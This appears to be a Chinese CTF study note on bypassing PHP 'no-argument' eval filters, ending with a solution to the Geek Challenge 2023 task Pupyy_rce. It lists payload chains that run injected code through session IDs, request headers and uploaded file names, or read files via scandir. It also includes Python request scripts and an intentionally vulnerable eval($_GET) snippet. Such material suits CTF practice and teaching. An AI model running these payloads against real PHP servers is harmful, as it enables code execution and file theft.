NoParameterRCE

86

最近做了做Geek Challenge 2023发现了一道PHP无参RCE构造的题目,就顺便想着总结一下方便之后的查阅。不足之处欢迎各位师傅指出。

场景

if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
    eval($_GET['var']);
}

​ 这段代码中的preg_replace的作用是匹配$var的字符串,匹配模式为函数名不可包含空格空格\s、左右括号,删除所有以左括号开始、以右括号结束的字符序列,包括嵌套的括号结构,也就是类似于vuln("word")中有参数的都是不被允许的,只能匹配vuln1(vuln2(vuln3()))格式。

//目录函数    https://www.php.net/manual/en/book.dir.php
函数	       描述
chdir()	    改变当前的目录。
chroot()	改变根目录。
closedir()	关闭目录句柄。
dir()	    返回 Directory 类的实例。
getcwd()	返回当前工作目录。
opendir()	打开目录句柄。
readdir()	返回目录句柄中的条目。
rewinddir()	重置目录句柄。
scandir()	返回指定目录中的文件和目录的数组。
//数组函数   https://www.php.net/manual/en/book.array.php
end()      		将内部指针指向数组中的最后一个元素,并输出。
next()  		将内部指针指向数组中的下一个元素,并输出。
prev()  		将内部指针指向数组中的上一个元素,并输出。
reset()  		将内部指针指向数组中的第一个元素,并输出。
each()  		返回当前元素的键名和键值,并将内部指针向前移动。
current()/pos() 输出数组中的当前元素的值也可理解是第一个元素。
array_shift()  	删除数组中第一个元素,并返回被删除元素的值。
//读文件
show_source()		对文件进行语法高亮显示。
readfile()			输出一个文件。
highlight_file()	对文件进行语法高亮显示。
file_get_contents()	把整个文件读入一个字符串中。
readgzfile()		可用于读取非 gzip 格式的文件

session利用

函数

  1. session_start():会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
  2. session_id():可以用来获取/设置当前会话 ID。

利用

# 读取文件 抓包更改Cookie: PHPSESSID= /文件地址
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
readgzfile(session_id(session_start()))

# 命令执行 抓包更改Cookie: PHPSESSID= hex(恶意代码)
eval(hex2bin(session_id(session_start())))
但由于PHPSESSID限制传入的数据类型为[A-Za-z0-9\-],因此在需要有符号的时候我们需要将恶意代码或者地址转换为16进制

getallheaders()

​ 这个函数的作用的是将http的头部信息全部打印出来,但这函数使用时限制环境为apache。发送时在最后添加一个header头,如exp: phpinfo();,需要再添加一个eval()是因为执行一个eval后只是取到了end(getallheaders())的返回但没有将恶意的header头执行。

eval(end(getallheaders()));

#implode 将数组转为字符串,可能从后往前拼接header也有可能从前往后拼接header,可以使用array_reverse()反转
eval(implode(getallheaders()));
eval(implode(array_reverse(getallheaders())));
exp: phpinfo();//

当php7以上版本时可以尝试:
eval(end(apache_request_headers()));

get_defined_vars()

​ 函数作用为将所有已定义的变量组成一个二维数组,顺序是GET→POST→COOKIE→FILES

//查看我们恶意参数的数组位置
print_r(current(get_defined_vars()));&b=phpinfo();
print_r(pos(get_defined_vars()));&b=phpinfo();
//如果恶意参数在最后一个位置则输出
eval(end(current(get_defined_vars())));&b=phpinfo();

​ 如果对GET→POST→COOKIE做了过滤则只能对FILES下手了

import requests
files = {
   "phpinfo();": ""
}
r = requests.post('http://ip/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))
==============================================================================
import requests
from binascii import *
payload = hexlify("phpinfo();").decode()
files = {
    payload: ''
}
r = requests.post("http://ip/index.php?exp=eval(hex2bin(array_rand(end(get_defined_vars()))));", files=files, allow_redirects=False)
print(r.content.decode("utf-8", "ignore"))

getenv()

​ 函数作用为获取环境变量的值(PHP7.1之后可以不给予参数)

var_dump(getenv());
var_dump(getenv(phpinfo()));

scandir()

查看根目录文件

​ 所获得的字符串第一位有几率是/,需要多试几次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

查看当前目录文件名

print_r(scandir(current(localeconv())));

读取当前目录文件

当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释

  1. array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
  2. array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
  3. array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
  4. dirname(chdir(dirname()))配合切换文件路径

dirname()&cndir()

函数

dirname() — 返回路径中的目录部分(上一级目录)

chdir() — 函数改变当前的目录

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

例题

GeekChallenge2023 — Pupyy_rce

题目

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
}

solution

​ 上面代码中已经禁用了env|var|session|header因此我们就只能用scandir()读取文件内容

//首先查看统计目录下有什么文件
?var=print_r(scandir(getcwd()));
Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )
//发现flag在第四个元素,那就尝试随机读来读取文件
?var=show_source(array_rand(array_flip(scandir(getcwd()))));

参考

  1. https://xz.aliyun.com/t/10780
  2. https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE